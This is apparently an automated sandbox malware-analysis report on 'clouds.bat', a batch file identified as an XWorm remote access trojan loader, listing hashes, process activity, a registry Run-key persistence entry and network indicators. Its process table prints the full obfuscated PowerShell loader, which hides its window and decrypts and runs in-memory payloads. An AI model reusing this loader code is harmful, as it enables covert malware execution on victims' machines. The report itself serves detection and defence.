| download: | /clouds.bat |
| Full analysis: | https://app.any.run/tasks/f1928cbb-efd5-4ae5-a632-208d5a36d7c1 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | March 12, 2025, 23:42:13 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (30832), with CRLF line terminators |
| MD5: | 2599DE03784DF946E026CB447CFB24FD |
| SHA1: | A27860E2FD9EC55ABA2CF5EC839CE7E46CD5D345 |
| SHA256: | 2F7E08545989863FE171530D734F0E8ED4D02EB37358FEDE88E6B7C9F87F8A76 |
| SSDEEP: | 1536:iYWCWpvFEa6IWjuQIXo9RyouCChYJA4GAWCTA49:iYWC2pW68DuHYVd |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 7192)
Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)
- powershell.exe (PID: 7192)
Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)
- powershell.exe (PID: 7192)
XWORM has been detected (SURICATA)
- powershell.exe (PID: 7192)
SUSPICIOUS
Executing commands from a ".bat" file
- cmd.exe (PID: 6800)
Application launched itself
- cmd.exe (PID: 6800)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 6800)
The process hides Powershell's copyright startup banner
- cmd.exe (PID: 6800)
Cryptography encrypted command line is found
- cmd.exe (PID: 1272)
Using 'findstr.exe' to search for text patterns in files and output
- cmd.exe (PID: 6800)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 6800)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 6800)
CSC.EXE is used to compile C# code
- csc.exe (PID: 7488)
Connects to unusual port
- powershell.exe (PID: 7192)
Contacting a server suspected of hosting an CnC
- powershell.exe (PID: 7192)
The system shut down or reboot
- powershell.exe (PID: 7192)
INFO
Checks current location (POWERSHELL)
- powershell.exe (PID: 7192)
Checks supported languages
- csc.exe (PID: 7488)
- cvtres.exe (PID: 7508)
Reads the machine GUID from the registry
- csc.exe (PID: 7488)
Create files in a temporary directory
- cvtres.exe (PID: 7508)
- csc.exe (PID: 7488)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7192)
Reads security settings of Internet Explorer
- BackgroundTransferHost.exe (PID: 7180)
- BackgroundTransferHost.exe (PID: 6644)
- BackgroundTransferHost.exe (PID: 1628)
- BackgroundTransferHost.exe (PID: 7660)
- BackgroundTransferHost.exe (PID: 7600)
Checks proxy server information
- BackgroundTransferHost.exe (PID: 6644)
Creates files or folders in the user directory
- BackgroundTransferHost.exe (PID: 6644)
Reads the software policy settings
- BackgroundTransferHost.exe (PID: 6644)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
151
Monitored processes
16
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1272 | C:\WINDOWS\system32\cmd.exe /S /D /c" echo Add-Type '[DllImport("user32.dll", SetLastError = true)] public static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);' -Name Win32API -Namespace Win32Functions; $hwnd = [Win32Functions.Win32API]::GetForegroundWindow(); [Win32Functions.Win32API]::ShowWindow($hwnd, 0);function HxfxL($xvDnI) { $ASGYv = [System.Security.Cryptography.Aes]::$('etaerC'[-1..-7] -join '')(); $ASGYv.Mode = [System.Security.Cryptography.CipherMode]::CBC; $ASGYv.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $ASGYv.Key = [System.Convert]::$([char]70 + [char]114 + [char]111 + [char]109 + [char]66 + [char]97 + [char]115 + [char]101 + [char]54 + [char]52 + [char]83 + [char]116 + [char]114 + [char]105 + [char]110 + [char]103)('Ekja/C53WJaFnpbaC1da6AceNyVt+h9FQYQcHYnt2hY='); $ASGYv.IV = [System.Convert]::$([char]70 + [char]114 + [char]111 + [char]109 + [char]66 + [char]97 + [char]115 + [char]101 + [char]54 + [char]52 + [char]83 + [char]116 + [char]114 + [char]105 + [char]110 + [char]103)('HyOMPAbZGgj+YO6Pn2gshA=='); $LzyFU = $ASGYv.$('rotpyrceDetaerC'[-1..-16] -join '')(); $wdKWz = $LzyFU.$('kcolBlaniFmrofsnarT'[-1..-20] -join '')($xvDnI, 0, $xvDnI.Length); $LzyFU.$('esopsiD'[-1..-8] -join '')(); $ASGYv.$('esopsiD'[-1..-8] -join '')(); $wdKWz; } function hxkTk($xvDnI) { $aPaxS = New-Object System.IO.MemoryStream(, $xvDnI); $hiLAr = New-Object System.IO.MemoryStream; $OpVcl = New-Object System.IO.Compression.GZipStream($aPaxS, [IO.Compression.CompressionMode]::Decompress); $OpVcl.$('oTypoC'[-1..-7] -join '')($hiLAr); $OpVcl.$('esopsiD'[-1..-8] -join '')(); $aPaxS.$('esopsiD'[-1..-8] -join '')(); $hiLAr.$('esopsiD'[-1..-8] -join '')(); $hiLAr.ToArray(); } function fTkFr($xvDnI, $KOpUt) { $iZADp = [System.Reflection.Assembly]::$([char]76 + [char]111 + [char]97 + [char]100)([byte[]]$xvDnI); $eMnuM = $iZADp.EntryPoint; $eMnuM.$('ekovnI'[-1..-6] -join '')($null, $KOpUt); } $KpXWr = 'C:\Users\admin\AppData\Local\Temp\clouds.bat'; $host.UI.RawUI.WindowTitle = $KpXWr; $KSjfn = [System.IO.File]::$([char]82 + [char]101 + [char]97 + [char]100 + [char]65 + [char]108 + [char]108 + [char]84 + [char]101 + [char]120 + [char]116)($KpXWr).$('tilpS'[-1..-6] -join '')([Environment]::NewLine); foreach ($DNYnf in $KSjfn) { if ($DNYnf.$('htiWstratS'[-1..-11] -join '')(':: ')) { $lastDNYnf = $DNYnf.$('gnirtsbuS'[-1..-10] -join '')(3); break; } } $IfJTA = [string[]]$lastDNYnf.$('tilpS'[-1..-6] -join '')('\\'); $bpxhO = hxkTk (HxfxL ([Convert]::$([char]70 + [char]114 + [char]111 + [char]109 + [char]66 + [char]97 + [char]115 + [char]101 + [char]54 + [char]52 + [char]83 + [char]116 + [char]114 + [char]105 + [char]110 + [char]103)($IfJTA[0]))); $uVrNH = hxkTk (HxfxL ([Convert]::$([char]70 + [char]114 + [char]111 + [char]109 + [char]66 + [char]97 + [char]115 + [char]101 + [char]54 + [char]52 + [char]83 + [char]116 + [char]114 + [char]105 + [char]110 + [char]103)($IfJTA[1]))); Write-Host 'going for executing first'; fTkFr $bpxhO $null; Write-Host 'going for executing second'; fTkFr $uVrNH (,[string[]] ('')); " | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1628 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4776 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6644 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6800 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\clouds.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6808 | C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding | C:\Windows\System32\rundll32.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7172 | findstr /v 'f7f81a39-5f63-5b42-9efd-1f13b5431005#39; | C:\Windows\System32\findstr.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (QGREP) Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7180 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7192 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -NoLogo -NoProfile | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1073807364 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7352 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
8 390
Read events
8 373
Write events
17
Delete events
0
Modification events
| (PID) Process: | (7192) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | WZfCHcztRddvidqAyDewFgEtdzCMFh |
Value: C:\Users\admin\AppData\Roaming\WZfCHcztRddvidqAyDewFgEtdzCMFh\WZfCHcztRddvidqAyDewFgEtdzCMFh.bat | |||
| (PID) Process: | (7180) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (7180) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (7180) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (6644) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6644) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6644) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (1628) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (1628) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (1628) BackgroundTransferHost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Internet Settings\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
Executable files
1
Suspicious files
7
Text files
6
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6644 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c7146d03-b97d-41bf-9cbd-e30f0b3c4a91.down_data | — | |
MD5:— | SHA256:— | |||
| 7192 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nje4zaql.bos.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7192 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vg5zcgak.0uk.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7192 | powershell.exe | C:\Users\admin\AppData\Roaming\WZfCHcztRddvidqAyDewFgEtdzCMFh\WZfCHcztRddvidqAyDewFgEtdzCMFh.bat | text | |
MD5:2599DE03784DF946E026CB447CFB24FD | SHA256:2F7E08545989863FE171530D734F0E8ED4D02EB37358FEDE88E6B7C9F87F8A76 | |||
| 7488 | csc.exe | C:\Users\admin\AppData\Local\Temp\s1mz0zqq.dll | executable | |
MD5:9AAA6D113067611289988F8692235B30 | SHA256:AF6722ABD3472CB81A6A2C27A568F2E4923B5C4BD108E592A2F617315534091E | |||
| 7508 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RESC98B.tmp | binary | |
MD5:B7F029F2A66A32785A1C7F9CF59BC676 | SHA256:BE3EAD9DCE55C28200CFEC592B6CA916389F4449E484C248886447D2D87C5F08 | |||
| 7192 | powershell.exe | C:\Users\admin\AppData\Local\Temp\s1mz0zqq.cmdline | text | |
MD5:750266D38AFB64F48EA7C565E698620F | SHA256:9796D228402C0B0FB88F4B26BD079AC8A1E33C5ECA525E327D07F93C4799DD1D | |||
| 7192 | powershell.exe | C:\Users\admin\AppData\Local\Temp\s1mz0zqq.0.cs | text | |
MD5:B187EC780A1D35DDFE564E58525214B0 | SHA256:DCC24C31EA6A9A0AB6FCBA99A34440F736BCD1DC9425B5F66BFC0275744F95DD | |||
| 7488 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSCD10F881589C0402B875C7E7F94DC85A4.TMP | binary | |
MD5:B33BEEF51A01CE1B60923C23F0F3F665 | SHA256:34D9B358832E1EDB70B365F911CF17A11B32CAF2899D652661F33A78744CE368 | |||
| 6644 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c7146d03-b97d-41bf-9cbd-e30f0b3c4a91.49abdda7-2d34-4b84-ae6d-178cf55d5be7.down_meta | binary | |
MD5:ABE74F788B7F71F8DC9AFDC2145B4A7C | SHA256:1F7832CA6F493B93F1AA7BFCBE85EB5DE2AED342C67E76A111DB626655EC89B0 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
28
DNS requests
13
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6544 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6644 | BackgroundTransferHost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
7460 | backgroundTaskHost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2104 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5216 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
3216 | svchost.exe | 20.198.162.76:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | SG | whitelisted |
6544 | svchost.exe | 40.126.32.74:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 184.30.131.245:80 | ocsp.digicert.com | AKAMAI-AS | US | whitelisted |
2112 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
arc.msn.com |
| whitelisted |
www.bing.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
7192 | powershell.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |